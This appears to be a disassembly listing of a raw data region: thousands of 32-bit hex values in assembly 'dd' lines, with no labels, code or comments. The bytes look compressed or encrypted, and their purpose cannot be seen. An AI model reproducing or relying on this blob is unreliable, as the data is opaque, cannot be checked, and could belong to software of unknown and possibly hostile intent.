dd 18D07E2Fh, 18F508EFh, 63008C49h, 966EBBD5h, 66501E5h
dd 0A2A0A74Dh, 0A300A050h, 1F8967A1h, 0FE224AC8h, 90B9C07Bh
dd 44F9B11Ch, 0B0BC4100h, 0D494B977h, 95A70C4Ah, 76284F8Dh
dd 8886AF03h, 0AD7593EEh, 24286881h, 5A2E520h, 0BDC91663h
dd 343EC0F2h, 0D573FD53h, 3C1F2703h, 0C8C3FE99h, 79AAEC50h
dd 0F3681209h, 1DE400F1h, 0F8F6CFA5h, 6B35C70Eh, 94600DFh
dd 736385Ah, 76E16F2Ah, 37E4107Dh, 20F1856h, 0A02C31D8h
dd 0BF5DF9CFh, 4A240019h, 0EFB21C4Bh, 2003F06h, 81303AC0h
dd 1CB19899h, 80F026h, 0E4763BBh, 0A63FD5E8h, 0BA0D1DD1h
dd 0B627C101h, 5883F36Ch, 0CB0C8930h, 3D363801h, 58C8A745h
dd 2C3CC0h, 344EFCC5h, 4A7BFFE0h, 0CFB2CD00h, 74DD6F35h
dd 0AA710085h, 44839CAh, 0D9F792BEh, 4B90EC5Ch, 9B344C00h
dd 3088281Fh, 10E5147Ah, 1C00D605h, 0F4732BECh, 0FD307C8Dh
dd 0F995188Eh, 5F1103DDh, 0DD66B3Dh, 893BF97Dh, 80443F8Ah
dd 18BD0381h, 58203680h, 0EA3BA875h, 7FE12867h, 0A0CD70E6h
dd 4116D730h, 4880D93h, 4F61A186h, 0AB858004h, 2771AD03h
dd 29E6D630h, 381C755h, 0FE08D9F5h, 80CBAA30h, 0E49EFA0h
dd 66F9F660h, 0C34BD9h, 0CA7BE822h, 0C9252AA9h, 929F891Dh
dd 0BC871032h, 3CBE0F04h, 12809124h, 3D6EE2B7h, 1EAD3900h
dd 0DC86B322h, 2080028h, 0C3BD1363h, 6D01DFFCh, 24478354h
dd 0C7F425A2h, 6174006Ah, 0C14EF2FFh, 0EF009F79h, 0A6687523h
dd 567E6Bh, 459281A4h, 955F24FCh, 268A0707h, 0AF108E34h
dd 0BC74A0h, 0E3EBD682h, 0D084EA27h, 633CB800h, 469DC04Eh
dd 3DA500D9h, 0FBA435DFh, 27009961h, 0CE9A71EDh, 0E4E7EA95h
dd 83C0001Ah, 8C3BB873h, 9F0367B0h, 327C0DE4h, 76858008h
dd 441B3F09h, 0C2D7EF0Fh, 55B50A20h, 0FF0037F2h, 5F3F64A5h
dd 0CF2179h, 5CD58B03h, 0E2ECCD10h, 80EBF639h, 0CBE17D74h
dd 0E845623Dh, 0B51C0015h, 2EA59976h, 8F00A636h, 0B1F59E8Bh
dd 0F48660h, 5EAFA201h, 0B09B6551h, 0E75F270Eh, 808A6953h
dd 123E7F5Eh, 474B0016h, 79DF2C35h, 370E5449h, 0E0FF859Eh
dd 0FAF0E0FDh, 0D70107EBh, 50953F1Fh, 5F8BD480h, 0AFC038h
dd 9B8E5C24h, 5DB789h, 57117353h, 0E4EC612Ah, 7A1B2615h
dd 0D53CFCh, 0F0848AF7h, 0FBC63Ah, 850129EBh, 0E6C2DD9Eh
dd 4D003470h, 907CB8D4h, 0DBF786h, 0BE23110Fh, 55C34819h
dd 2A044603h, 0E041A594h, 19289A1h, 8F6D5354h, 2458E3A6h
dd 3A032234h, 0BEAA6AD3h, 0C44F806Bh, 7E9E009Ah, 522E2BC5h
dd 0D34C9DFCh, 0E8420011h, 0A2EBF8C9h, 39E90FD6h, 49607A4Fh
dd 3E5BDCB7h, 963FD00Fh, 0EBB20090h, 0E86ABC8Ch, 0A9FE077Eh
dd 9310B047h, 0D8A836C3h, 0FE63974h, 3F3AFF02h, 48578013h
dd 0CC8D30h, 3156B3FCh, 0C582BA45h, 0EE2E1700h, 68BD601Ah
dd 400700CCh, 0F78ED589h, 1F1D7539h, 0CD409C57h, 85CCFCD1h
dd 14BFFEF1h, 843F80D9h, 40BD9612h, 0EE273DC4h, 0DD1E098Fh
dd 0B40ECDEh, 0E3C50C0Ah, 8D030056h, 0CEABB786h, 25005230h
dd 42D8B4D5h, 0FABF4553h, 0C7182801h, 27A400CCh, 0EED67103h
dd 671D6E8Ah, 0A4A81CD0h, 0C3D7D500h, 0E752A912h, 95F0A05h
dd 0ABCA825h, 40885DA5h, 26A3E2A7h, 1E013E01h, 0FC227A05h
dd 0FA9E3C8h, 0F30FA9Eh, 6759B2A3h, 0B9A8B383h, 0B6008A0Eh
dd 9A732969h, 484F8907h, 7A002CDFh, 0EFDEC25Ah, 6E2440A7h
dd 81006CBEh, 15275E19h
dd 28CB6044h, 462FE164h, 0AB1C9301h, 24968D66h, 64F19442h
dd 27360050h, 8098AFDh, 3E5BE8D3h, 4C12C8E8h, 726C00F6h
dd 8E9D85E7h, 0B6CEF00h, 6BDBFA0Eh, 0E4EA5048h, 8D390043h
dd 4E9F0C1Dh, 0D00C286h, 0A7128168h, 3F22489h, 7FBBD430h
dd 0E4882DC4h, 0E700C96Dh, 0DDE2FACDh, 37CBDh, 70B13C20h
dd 1CF8F359h, 0B74AD00h, 71E727DEh, 1C67E4BBh, 0DD8F6BA0h
dd 55A84058h, 0FE04B590h, 92A65B01h, 4C0CF0D9h, 0B017E06Eh
dd 45BCE10Bh, 575A002Ch, 0AE30CAh, 9F383BFh, 0C7ED91B2h
dd 12A0B00h, 6B1B53F1h, 0C35700E0h, 0E1CADD02h, 0F8F0BF03h
dd 260F330Bh, 5B710069h, 94AC4Eh, 3FC8652Ah, 0E773B2Bh
dd 0FBBB6F00h, 0D18AB436h, 0D87B00C7h, 0A37F880Ch, 300E88Ch
dd 0C181B043h, 173FFA1h, 0ED8D2225h, 0F0A87DD1h, 2F0E0902h
dd 40F2FD77h, 0FC3CB033h, 1DCF0045h, 4FB9B7F6h, 38003FE5h
dd 1BB5A04h, 733EA6h, 9A4DE37Fh, 436BD62Bh, 0F8528C00h
dd 49757ADDh, 0F34700D0h, 0E1CD7D12h, 59628ED3h, 57CBFFD0h
dd 38000DE3h, 0B0F70154h, 6E1CE3h, 2DE5FD5Fh, 39D914DDh
dd 0FB6F3438h, 0ED85D10Eh, 6D0C23A2h, 98BCC064h, 0C2DE004Fh
dd 5729F6B9h, 0ED00E34Bh, 0C1A2C7E8h, 0FCE8959h, 0A449F2CDh
dd 0E9988FC0h, 82008142h, 0FD4F2A27h, 922038h, 1F1AF6FEh
dd 0F38E3734h, 4CA0D206h, 3B18563h, 0BB3B7794h, 1D903CE5h
dd 1E015FB7h, 477F0332h, 0DAE4053Dh, 3A9044h, 6717C23Eh
dd 86375C91h, 0FDD3FE07h, 56D07715h, 0E03182h, 0D5498E0Fh
dd 3CD45805h, 0A363E800h, 417EF4ACh, 5E7D0F06h, 4D2059D6h
dd 6F0DE7A9h, 8C75CD06h, 0C011F1B5h, 9605AC88h, 851DB6A1h
dd 58447851h, 8805E55h, 75C820h, 271D50F2h, 929EDEE5h
dd 42FB9000h, 871C05C9h, 0ABB816h, 83EF4104h, 3AD6A045h
dd 9222170Ch, 1F201Bh, 21498197h, 54F59455h, 34D04200h
dd 6A95CC8Fh, 0FA3700A6h, 0A0D1E810h, 9207C4CBh, 31282602h
dd 0F95CB9h, 0A489A348h, 0CE3E1316h, 8FAA8E37h, 9ABC02EBh
dd 2F644866h, 5CA9015Fh, 0A33DE0DAh, 0BD3D476h, 16737F00h
dd 65ABA6B6h, 6E1702D1h, 0A59B5F9Ah, 33D32C40h, 57D47F00h
dd 352EEA72h, 231500D9h, 0C5281CE0h, 4AE2E836h, 817BE700h
dd 0D55BC6A1h, 753F0072h, 5AAD71D2h, 6507911Eh, 0CEB283Bh
dd 0E04EC0A2h, 0C7C9A1h, 0B2F3E860h, 7F6D3FA1h, 5257F000h
dd 4018EBB1h, 41900008h, 0BEB93D64h, 0FE016D14h, 0AD8AD005h
dd 0E2F49AF4h, 0A4FA0096h, 1A4021EBh, 500C1D0Ch, 30E13897h
dd 421E0092h, 1F16170h, 0CC038048h, 63FE5244h, 2547E999h
dd 0F84B30h, 0EB131BA4h, 9DDD5EF6h, 3945350h, 0E0B83200h
dd 0E38498CFh, 0F75D006Fh, 0BED81121h, 4C12B23Ah, 57009502h
dd 0DED676E2h, 97FF03A8h, 75805EC7h, 2056EBD1h, 983AFB74h
dd 9F7060F0h, 0EA11BECh, 61C1F9Dh, 97F61882h, 10751082h
dd 35611C80h, 5E0387C4h, 3A8BD1E5h, 63181F14h, 0D70E3C5Dh
dd 0AD2C3148h, 0BB7CB620h, 7BAED407h, 0EB10637Dh, 0C72A2D07h
dd 0E7BB38E9h, 0C2E324CDh, 34806324h, 7BC42A79h, 0F19AF618h
dd 29D4F789h, 0F14A81Bh, 9C143543h, 0B4B58A00h, 1B96BE72h
dd 68313E25h, 0A4984Ch, 0DC883DA5h, 0FEA66F35h, 0AD1D8901h
dd 0E1903FB4h, 1BDAF4h, 0A806760Eh, 0C312172Fh, 0C6573Dh
dd 0A7F694F3h, 5F7F5Ch, 9F612204h, 9E5A011Eh, 99ED4201h
dd 0D9737230h, 1B8CC0CFh, 4F0F00C6h, 496BB36Dh, 0B700A089h
dd 6EF66562h, 0C694C8h, 4DC7E0A7h, 0CBEF344Bh, 7AFF5B00h
dd 0C150A119h, 0F486012Fh, 46361539h, 298483Dh, 127DF1FCh
dd 981011C2h, 0D8848035h, 15F41Eh, 0EBEE8FE4h, 39C05940h
dd 1F972501h, 0E9F1330Ah, 0EB29C3CCh, 0A212299Eh, 94C25010h
dd 19002721h, 8FE5FB12h, 87F04466h, 442BF744h, 0C32BAF4h
dd 102A5012h, 79CA39A8h, 7708147Fh, 0F27E880Bh, 6D800E00h
dd 191DCh, 0A24532ABh, 145B4425h, 1AB4DA00h, 0F6E44AB7h
dd 27C70005h, 0DBF7A37Ch, 5800C23Dh, 1C3EC673h, 0B0D0F868h
dd 0B3B200D2h, 6B834D08h, 303ECD4h, 0B061E63Ch, 6ADEC026h
dd 3F6300CFh, 0AB6CA886h, 79B8C5A9h, 1020EB00h, 5480D428h
dd 45AF0057h, 0A5428D08h, 9300D8B3h, 0CD8ED969h, 83D511h
dd 0BF1821C0h, 4EFFECBAh, 0F2F9D71Fh, 0E62C0079h, 113C6CDAh
dd 579007Dh, 0FE8F870Eh, 0E216C790h, 1600C419h, 581E61BDh
dd 273917F1h, 284A076Eh, 7C106097h, 0F2B88D7Ah, 20E85C30h
dd 1773C12h, 0FC4B3D21h, 0E035ECBDh, 0BF00517Eh, 5A3A41EEh
dd 4C099F87h, 1F1FC526h, 5E785DF2h, 0C1490142h, 0FCF17A5Ah
dd 3474F54Bh, 0B42FFB03h, 0F8D75BB5h, 4A259Eh, 6FC9DA71h
dd 0BDACA93Eh, 9D488E00h, 5A196C9Fh, 0C47E1F6Dh, 0F9C540B0h
dd 0DF7B07F7h, 0EA0E9A00h, 5D4CFB94h, 841601E9h, 78FE1B88h
dd 14897091h, 21F6CE0Eh, 0E6B82051h, 271F01h, 5798324Ch
dd 3843106Ah, 8242B600h, 9EEA6F1Ch, 972D00DAh, 0E6A61DF5h
dd 0B33086A3h, 9AAC58D2h, 77591C75h, 0B61E8F38h, 99A3FA80h
dd 3901F784h, 142804C8h, 9DEC099Ch, 0BAF10977h, 4F872934h
dd 0D249E085h, 180070AEh, 0EC19652h, 6E013h, 0B9480759h
dd 0E5014FDAh, 0A9728C01h, 8E7BCF6Dh, 0FA1FAE4h, 586C5E78h
dd 9E8D97A0h, 2D12E1B1h, 100066CAh, 344CAE39h, 0AD7D0ADFh
dd 1FD896B9h, 0BCE940E3h, 7C885E5Ch, 11010B00h, 62B15FF4h
dd 0AB90001Fh, 21188BDFh, 85003665h, 34AF27CCh, 238ADEh
dd 82503577h, 1757B2A9h, 8C685100h, 1DF9B82Bh, 0C5F5162Ah
dd 0B9880012h, 0B75CC1A6h, 55D7D500h, 9A45A910h, 4919072Eh
dd 500C0FFBh, 432687Fh, 1A96830Ch, 3E101Ch, 0CC2CA4DDh
dd 78F519FBh, 6C21B301h, 9DBA3675h, 4DC3F4h, 0B9ACB4FEh
dd 23D1A4F5h, 8D205900h, 17E76889h, 5FBD0826h, 0E6804A58h
dd 0D6525DFDh, 4C251C87h, 5EF1C2CCh, 32C06942h, 67078210h
dd 73DF1746h, 9FD01F80h, 31FC03CFh, 3039B40Fh, 0EA24A0D8h
dd 3FDD2C01h, 4C9BC1EEh, 4FBF60FEh, 0BF190E6Fh, 0E5014541h
dd 0EC013A5Eh, 0B00A442h, 2E6708BAh, 7C2027h, 0A9B74D6h
dd 6313B5E9h, 6CF2261Dh, 0F8B214h, 2BC9E0EAh, 1A488A9h
dd 23D199Ch, 0D0493374h, 0A8070BFBh, 0A93F308Bh, 0F114B220h
dd 0AA3D3C80h, 0F668A4h, 0EDE2E8B9h, 5D001A87h, 380AD79Ch
dd 0C8CAEEh, 6B7B4997h, 0E7EBDA0Ch, 80A6B403h, 984B3413h
dd 17D5BF3h, 0CE600FA1h, 0E897485Fh, 7700EDD8h, 0CBBC048Dh
dd 1444F2Ah, 6F309AC6h, 0E8A2B40Dh, 0A30E63B5h, 0EAAFDBA9h
dd 5200A00Fh, 2B8F1913h, 0A2E900A0h, 0BC0F6C7h, 7D004664h
dd 0DD56D07Ah, 77CEB1EEh, 5FCC003Dh, 46140E0Fh, 921DDF99h
dd 7B4042BDh, 0EFE7FF4Eh, 9E190029h, 0E0611182h, 93043F58h
dd 0A8047EF0h, 146668C0h, 0E4820EC3h, 0FCA0623Eh, 0FD3D14Dh
dd 407A7400h, 0EA6B873Dh, 588C0037h, 9563651h, 47009515h
dd 0AC828AC0h, 0A7F7E4h, 2EB50F06h, 0DB0572BFh, 0B7B8E51Dh
dd 0AEE4EFC0h, 0F011084h, 0F0B9D6A5h, 8E5CD740h, 243DA649h
dd 55CF0021h, 0D571A426h, 179B0EF7h, 9200381h, 46739CFEh
dd 0BF535C00h, 664B90D8h, 54EA6Eh, 33FF6B74h, 0BAD17A41h
dd 980CA300h, 0A861DE08h, 5C941E56h, 0A26CC03Eh, 6B782AD2h
dd 66585E00h, 0BAEE2B02h
dd 6F52002Ch, 3E8FC917h, 0AB000B51h, 0F1BBEB84h, 1FDF2865h
dd 1EECEDDCh, 53918FD7h, 0E29BF640h, 0B1074A4Bh, 6251D90Ch
dd 7E40A9A7h, 5BFEE4h, 2633456Eh, 55422208h, 8ED02C1Dh
dd 0E0B4A180h, 0D2C860h, 53350D9Dh, 9F4EF357h, 1A36FB00h
dd 0B8C9D47Ch, 0AB0C00DBh, 5DB14792h, 1E0054F3h, 7A16F791h
dd 7BCB9Ch, 4DB03B24h, 85210A35h, 0A2324Ch, 0D51E7EFEh
dd 26F5D396h, 2CA19Bh, 775F3BA3h, 0A00070CFh, 6C6955E7h
dd 193DCB68h, 0C190FAF2h, 4423F0B9h, 0A36B2F04h, 1AC554EBh
dd 72C59C00h, 0C0ECB766h, 31B9D828h, 3D4DD14Ch, 2017708h
dd 0B617F298h, 4600325h, 4892416h, 30C1016Ch, 0F45811DCh
dd 2502A969h, 1A94403Ch, 0C360602Ch, 37A100F1h, 4E06D5Fh
dd 572CDBD2h, 2D1D645Ch, 0D5A86C80h, 0D4032Fh, 45A58981h
dd 0F4F83CC8h, 0C7D22C02h, 40A37664h, 1EDA8B5h, 691BFBFAh
dd 0DCD57A53h, 4300F1B5h, 0A12441D1h, 7D44E079h, 0F8C5B042h
dd 4FF4009Ah, 7A56A3C0h, 1B0080C7h, 5478A407h, 38014111h
dd 64072FE7h, 0E73AF5FEh, 39C55050h, 27035E56h, 0BD0C9EE2h
dd 460FA00Dh, 936700C3h, 8C1437FFh, 900095F9h, 8820F4D5h
dd 755A0170h, 0AADD004Bh, 0D684087Dh, 521E36E0h, 0CE801DB8h
dd 2429F491h, 0C95B0092h, 0E67DB6D9h, 0C8019F18h, 0BCF545C1h
dd 33CC0577h, 0B60F0325h, 0B0EA7EE7h, 136FC790h, 79C52D00h
dd 0CA1B9E94h, 0D03A0052h, 0D9E70203h, 4300708Ah, 38206D58h
dd 185E2D25h, 69ACC95Ch, 70286FBFh, 0C300D710h, 78FDDFAAh
dd 1E0267DEh, 0DF823F7Bh, 87B91DC4h, 70BB158Fh, 5AE49613h
dd 633B5600h, 17893C2Ch, 308A03DDh, 9AA88C88h, 0F41D4E81h
dd 5F25C231h, 267D7E5Bh, 3BE26074h, 11502CF3h, 1D00E49Ch
dd 1FBE7595h, 3E0B24ADh, 2D1C09A9h, 28E94321h, 4E88F763h
dd 5C004342h, 260102D6h, 397DAB0h, 0E14640F8h, 6CA13D1Fh
dd 0F02EC1D1h, 0FC7E575Ch, 6519F00h, 257875BCh, 35F0019Ah
dd 0AFDD81B2h, 12B9CCDAh, 0BA7FD4F1h, 0D3D02200h, 94ADF7F6h
dd 64615C89h, 7F0158h, 7EF5603Bh, 4E56954h, 6E94C70Fh
dd 0F117C043h, 0D208A6h, 4C36CD5Eh, 0B8CBB43Ch, 941368EAh
dd 0CC004D35h, 10C2520Ah, 0D178002Bh, 0ED4245B4h, 28C0B94Bh
dd 4E04D7C8h, 255200C5h, 0F6827ABAh, 6D1294F1h, 900142A8h
dd 0CD2F8B9Dh, 2E7F9FC8h, 4EFB254h, 80EC77F5h, 17826D8Ch
dd 0F3659800h, 9D57BFEDh, 0CCEE3Eh, 74EC0ED9h, 0F41C866Ah
dd 82D20102h, 40DE6950h, 8E4590h, 0C20F241Bh, 1E9DB73Ah
dd 1009E7B0h, 823337D1h, 8041990Fh, 0E92935D8h, 0F9BE00EEh
dd 2A60DF57h, 0C0009FFDh, 4812EFBAh, 33FB42h, 0B0A8762Eh
dd 0EBB409E5h, 4A80E300h, 0A92321AEh, 20F02A6h, 0EE32F7D2h
dd 31B077Dh, 16EC3EA0h, 0F67E02B6h, 11277742h, 493BA4E0h
dd 0A48B900h, 2DC09C4Bh, 8C73000Dh, 0F41620AAh, 0F603392Ah
dd 42436546h, 0CF1CFB12h, 9D64D050h, 0CCF405E9h, 0C1B86ECEh
dd 0C416BBAFh, 9505ABFCh, 0A594D5F8h, 6DB798C0h, 127EA81h
dd 0C1D74EC6h, 707330D3h, 90A4A348h, 1600B170h, 639AFF6Fh
dd 3E6D89h, 687EC90Dh, 0A8EC2BA9h, 10DB7B30h, 72CC6CAh
dd 24D0A2E5h, 5805D01Dh, 0D87F9887h, 0EAC88900h, 0B915CB2Dh
dd 8BE21234h, 7580495Ah, 91D4E500h, 9502BC88h, 0CC805EC2h
dd 8BF8408Eh, 3DF000CFh, 0F4AF1A27h, 0A34C2FECh, 42DB00D0h
dd 57097526h, 0B13F037Ch, 0CDBA7658h, 0DFB30E8h, 0F3A52700h
dd 9505C1CEh, 0A8D6F2h, 0DEE1017Dh, 0A186273h, 0E418F910h
dd 0E311FA6h, 87711EA2h, 80C29A93h, 8B426C64h, 630FD203h
dd 0F8E025B3h, 24F8EEC0h, 4587023h, 908487B9h, 0D84D4BECh
dd 4F17CA00h, 0BF2529D9h, 30EFFCF2h, 46F0059Eh, 351AAC50h
dd 60104185h, 0FEE9F3B5h, 3C10C715h, 201602Ah, 0D00154ADh
dd 2F3DF54Bh, 43DCDCB8h, 6060EBD5h, 3FF49896h, 0FA8ED75h
dd 0EB780093h, 0F9A00DD4h, 0D0026B03h, 0AB2FE97h, 0E5ED40C5h
dd 17E70E77h, 80BC752Fh, 0BDF109D6h, 2214CB29h, 0FAC0DC0h
dd 0C0F541F4h, 0B21FA2C5h, 66FF000Fh, 0AA81E32Fh, 6100A692h
dd 0B977C59h, 1ED2FC8Ah, 40EA54E8h, 8622F04Ch, 503F1DA1h
dd 3B3400A3h, 49927942h, 0B1F14DFh, 0BA0498B5h, 0A08F05A9h
dd 0A3255828h, 1FB080D3h, 2E8A41A0h, 3E85CCEEh, 15D54700h
dd 1140F7F0h, 50667500h, 0E2DFEB22h, 489C0279h, 7A29196h
dd 0CD00A042h, 0AC1D8E3Bh, 0D9FE7800h, 967AB6CDh, 43AA0FD1h
dd 5CA39E15h, 79E048DEh, 0F1ECDB2h, 0FDC04E9Dh, 1DF7FCA4h
dd 48981Ah, 8F47D6EAh, 0EF81D01Eh, 0A60A200h, 77D8FC75h
dd 6850078Dh, 1F6C342Fh, 0C0E56185h, 0E843D654h, 0EA26EF00h
dd 7574900Bh, 73EC0056h, 49EDFA5Bh, 0AB0539D5h, 0B2F39B48h
dd 20F28800h, 85267Dh, 3BD0C3CEh, 0ED2FA52Ch, 0F3D4A400h
dd 0E4437A82h, 0BF5B1497h, 1F79D54Ch, 0C3CC09F9h, 15629AE7h
dd 0F61470F0h, 7C28DBB0h, 38728812h, 0F3F9F400h, 0CCB95DC9h
dd 0CF080049h, 0D95880E8h, 4A02EEBEh, 28897D7Ch, 4DF46059h
dd 31E41666h, 0CD0C00CFh, 81934840h, 0C00085E2h, 5ACC5D24h
dd 39063Bh, 0C674C1F4h, 4C790FD3h, 7B8FFF0Ch, 0F15109Bh
dd 5ED8B1EEh, 58BE23E0h, 4B00D532h, 8175678Ah, 39E07A11h
dd 34028268h, 9872585Ah, 5D3F8880h, 5200C69Dh, 63F9BD03h
dd 3BB00FC7h, 13308B6Bh, 30D46C11h, 8C38E912h, 0C51AC802h
dd 0E40400B4h, 4200D183h, 0CC39AEB5h, 91713Eh, 44A6FC66h
dd 0EAD129Ah, 1300F490h, 263D7064h, 0B82F5649h, 0AE4807Eh
dd 6ECC0067h, 696A990Fh, 0EE6040B8h, 0CAC84EEh, 0A0ED0080h
dd 307DBC0Ah, 40F11F19h, 4CF1BB98h, 0B938A600h, 0DE06A363h
dd 59370095h, 0C3D243D3h, 0F31D839Bh, 0B740A017h, 0B221E04Ch
dd 40756352h, 34986C42h, 2807113Dh, 49515714h, 94005975h
dd 536F4BF9h, 0CCEF0001h, 3A0FD422h, 21C347C2h, 0D8415D7Ch
dd 2863142h, 0A36A83B8h, 6355875Ah, 953298EFh, 7759130Fh
dd 0E71480F8h, 0A6E849ECh, 0B3E39F01h, 0AF3FDC4Bh, 8F07C440h
dd 6C7C0532h, 0AE126D19h, 0B3A43C00h, 146FC1h, 85E0A7F7h
dd 0A6B96622h, 0A9AF9300h, 1CD4D83Ah, 38EF9011h, 0BD0128CEh
dd 0A356D379h, 60B06108h, 0A4008D71h, 660A24C6h, 2921D47Ch
dd 40FC5AEBh, 766A33B9h, 6BF68C00h, 0B3C08118h, 989A56h
dd 0FE67FA39h, 756C1E70h, 4E015A76h, 6E2D1B0Fh, 0BF20A0F5h
dd 6B3D267Ah, 3CAC099Ch, 97E88802h, 19A69080h, 0D300A468h
dd 0BEEF0211h, 1F3D51Ch, 0ACAD24DBh, 0EC4A1DE0h, 0E302B467h
dd 0E9EA6F0Eh, 2D2CC0E6h, 73BF307Eh, 26790180h, 13B51A03h
dd 0C0501585h, 7397B95h, 77243072h, 0BC05923Ch, 1661D868h
dd 0E976D800h, 33A65920h, 8C683E7Fh, 0F5F4B980h, 0B6D5A55Fh
dd 80107B1Eh, 9C6EBDC0h, 0D75067h, 60A8ADE4h, 0F34B1B82h
dd 0B33AFE00h, 0CE955C0Fh, 6D718Dh, 0D067F57Eh, 6EFE6029h
dd 0F0E8A228h, 0A71A7C04h, 0B700AB8Fh, 9BCC42DEh, 0E2BD6800h
dd 34EA84DDh, 0F60C4864h, 0BB72700h, 89161195h, 7FA3815Ch
dd 2507CA00h, 0AA6AE12Dh, 2EF8009Eh, 86A289D0h, 0F0A003B3h
dd 5D01A6ACh, 7CB42A97h, 80D754CEh, 27DE611h, 3520AFABh
dd 1C79975Ch, 52FE120Eh, 55CF3400h, 0E87F6487h, 4D4BA5Eh
dd 679AE0DFh, 0E5BC803Ah
dd 0C7002FA6h, 0D0225DD6h, 351592Ah, 733F5F47h, 4CA837ACh
dd 0A9706768h, 2A51800h, 0F9E6EB1h, 0DB7001D5h, 0A230F3C8h
dd 28BE5Dh, 7155B2ECh, 173D113h, 0A3493625h, 6DC838D4h
dd 0F02A033Ch, 0F0B1F7ECh, 1F69A94Eh, 87A54A43h, 0B094BD41h
dd 2DA4E3F2h, 1AD5D750h, 0B04EB100h, 9A7B121Eh, 732A0022h
dd 91BC16A6h, 83001B10h, 0D3A16335h, 0D561E3h, 59DF3334h
dd 9C953D6Bh, 88B34Dh, 8EA0AD66h, 0FF6B124h, 659F1858h
dd 80567065h, 635F6F3Fh, 547C6900h, 51749B5Eh, 6B320099h
dd 9C6A9149h, 5F3C59FFh, 636F818Fh, 387025E2h, 6080B7D9h
dd 0D0C0ADA9h, 24009133h, 0DD58C8DCh, 0C05DEE77h, 5550FE20h
dd 8B0CFDCCh, 99B21C33h, 30836434h, 0A0D607D8h, 0A7B61140h
dd 0E02D308Ah, 0B203E248h, 0F897041Fh, 234FAC1Ch, 9CB5EED5h
dd 4B0F78A2h, 1A001E8Dh, 1FC038D6h, 10000DD5h, 1F33CC52h
dd 722657h, 47925E31h, 58A5243Ah, 51C8E706h, 0F30FABAh
dd 91DFAC5Ch, 0F92FD918h, 55EE4370h, 0C85DCB03h, 0E3A83049h
dd 0F387805Bh, 0CB40EB57h, 0A90262h, 8ABC6C8Dh, 5FE04B7Ch
dd 78011500h, 1C0B35E2h, 0BA7B3DE5h, 9F1BEC80h, 0F9037EA7h
dd 51102400h, 0C020783h, 192003Bh, 7326C235h, 1100A0FFh
dd 96EE9E6Fh, 0B67D5h, 6A5C43ACh, 0A83E8CCEh, 0A340BA03h
dd 0F7DF578Bh, 0FC20F765h, 1A221C9h, 5510FE6Ah, 8C7C2643h
dd 20AE8508h, 0A26900D2h, 0FA5D078Bh, 0A40795C2h, 0D0F5799h
dd 31FF4E80h, 2877180h, 103FD7A6h, 84686188h, 743A4459h
dd 0B0AB8A0Eh, 0D41DE6B8h, 0C021251Ah, 0CF73C2h, 2B4018F9h
dd 0A6891FECh, 2045D536h, 84B92150h, 1373C787h, 281248DDh
dd 6F79201Dh, 4C0B1474h, 30E732h, 239E8D1Dh, 0F1B46CDBh
dd 9415068h, 0B6C5E017h, 96A29BC1h, 31D29052h, 0FDD0F417h
dd 0CF302046h, 0A25FF421h, 34777A01h, 0A44572A1h, 3ED1428Ah
dd 0DAA80694h, 440FD9A3h, 98568DC2h, 0FA0DB669h, 0C10C058h
dd 0C11259EDh, 0B01ED300h, 0CE0FCA68h, 0A9D500B3h, 0A60A9E42h
dd 461F3EEDh, 19C0D8D7h, 0AEE21688h, 8AF500AFh, 0D2F7CBD5h
dd 0AC00D9E1h, 3A900309h, 0B04649Dh, 0E88F2CD6h, 0F0885A87h
dd 0B6FA07E1h, 4DE26600h, 0B876D4DAh, 7FB2016Ch, 3E8B2975h
dd 0E7FC203Dh, 1C391000h, 7ADBB7FFh, 0EAB6FCA5h, 0AC5700F7h
dd 0A2060E0Ah, 9D00BD46h, 0B756B9A4h, 0FE66588Ah, 0A6650007h
dd 14F7AD74h, 7A0BE3B8h, 3704DDAh, 0AB59DD86h, 0F1FCC0CDh
dd 30B3189h, 0F45B0584h, 0BCF21461h, 8005FE8h, 0CB82C2B6h
dd 0BAA4C7h, 0DCF7D870h, 6BE628ABh, 3DF3Bh, 0E752719Fh
dd 75CB902h, 1238B13Eh, 13A08E59h, 0B0ACABE4h, 982EF00h
dd 4EDCFDA2h, 1ACA03BCh, 0DB9934AAh, 0A49A10B0h, 4A123A00h
dd 7659FD7Fh, 1FE978CDh, 998FBAh, 0C8F8B3CFh, 2B30307Bh
dd 765C180Ch, 5A20C1DDh, 30B3957Eh, 371C86F4h, 0F740B7F0h
dd 5C896CC3h, 45EB03FDh, 922F5A9Dh, 8622921h, 0F188C9B2h
dd 2142BFE8h, 2F8E089Eh, 22EC22BEh, 7A229326h, 0C43C2234h
dd 22EA6922h, 3622A0D7h, 0AAFF0133h, 8D5C906Fh, 0A72711E9h
dd 0CD105212h, 0C1704050h, 0DA012284h, 21194E42h, 41A579F7h
dd 14AF5014h, 3229FFC6h, 7979F2FFh, 89704C10h, 10AA1026h
dd 992900C1h, 0D3AD52CCh, 551CA52Eh, 8A00C656h, 0E78DDB9h
dd 0AF3C007Bh, 7BD484Ah, 8000B8B1h, 0CA2D569Eh, 261BDD16h
dd 0F693966h, 6FA04838h, 7485B5ACh, 0C865000h, 44DA0616h
dd 0D31B00E3h, 0B5650130h, 0A4017820h, 52A2317Ch, 69608476h
dd 2F60043h, 15B2876Bh, 0C43B6035h, 98AE8165h, 0EFFB309Ah
dd 2FD82D8h, 7B795947h, 20408EFCh, 4D1E5D0Ch, 72C0A263h
dd 1F040A90h, 89AB022Ch, 928C3C6h, 7801E9E3h, 49CC60F8h
dd 0B014DEDh, 6DFBDCE7h, 0DE6AA602h, 40B8AB36h, 0E0D1EE3Ch
dd 0A237134h, 8AC41DE3h, 0E66B006Ch, 0C1696F12h, 0C9EE0916h
dd 0DC4E8E00h, 0E3F7C6h, 0E47C5977h, 66CE85DBh, 8B004F76h
dd 2DDE3AB1h, 0D98AAh, 1F7E7188h, 1887F2A8h, 0A25E6960h
dd 3D83C415h, 918078D0h, 93EF1B0Fh, 1400D38Bh, 94B94102h
dd 0EAF5C330h, 0C9680DD0h, 8028A84Dh, 9422FE20h, 305A47h
dd 5C048A0h, 0D6E907EAh, 2600897Dh, 9FE745Bh, 0E4E76BA8h
dd 6A216167h, 0DC4D9BB6h, 0DF0041ACh, 3A7CD160h, 3638C4h
dd 7714D74Ch, 82F1F5B1h, 72E00700h, 0E11B6FA0h, 0F80E00A9h
dd 9F7ADA10h, 1F00D8B4h, 0D68AED6Ch, 7FAD5FBh, 0AF652433h
dd 201CF0D4h, 4600A4DDh, 87DBF991h, 0EF2D1B9h, 0EA9D644Eh
dd 254C0057h, 3B95161Bh, 1100E5E4h, 78ECFACAh, 7EE880h
dd 638F22F3h, 0EE947968h, 0F4930200h, 14DE2639h, 8DE0A089h
